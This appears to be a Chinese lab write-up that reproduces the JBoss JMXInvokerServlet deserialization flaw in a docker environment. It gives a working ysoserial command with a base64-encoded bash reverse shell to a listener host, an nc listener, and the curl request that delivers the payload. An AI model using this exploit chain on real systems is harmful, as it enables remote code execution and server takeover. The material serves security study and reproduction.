JBoss JMXInvokerServlet 反序列化漏洞
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet
请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
参考文档:
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.seebug.org/vuldb/ssvid-89723
- http://www.freebuf.com/sectool/88908.html
- https://paper.seebug.org/312/
漏洞环境
启动漏洞环境
docker-compose up -d
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517175017902-1654172744.png)
首次执行时会有1~3分钟时间初始化,初始化完成后访问http://your-ip:8080/
即可看到JBoss默认页面。
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517175017882-894265500.png)
漏洞复现
这里使用JavaDeserH2HC工具或者ysoserial工具都是可以的:
具体的方法可以查看JBos4.x 或 JBoss5.x/6.x攻击方法(这里我使用ysoserial进行演示)
生成序列化数据,并重定向到exp.ser文件
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE1MC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" >exp.ser
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517175017877-149258208.png)
nc监听9999端口
通过二进制POST方式发送攻击载荷到 /invoker/JMXInvokerServlet
curl http://192.168.75.130:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
成功收到shell
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517175017884-2070266746.png)
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16281800.html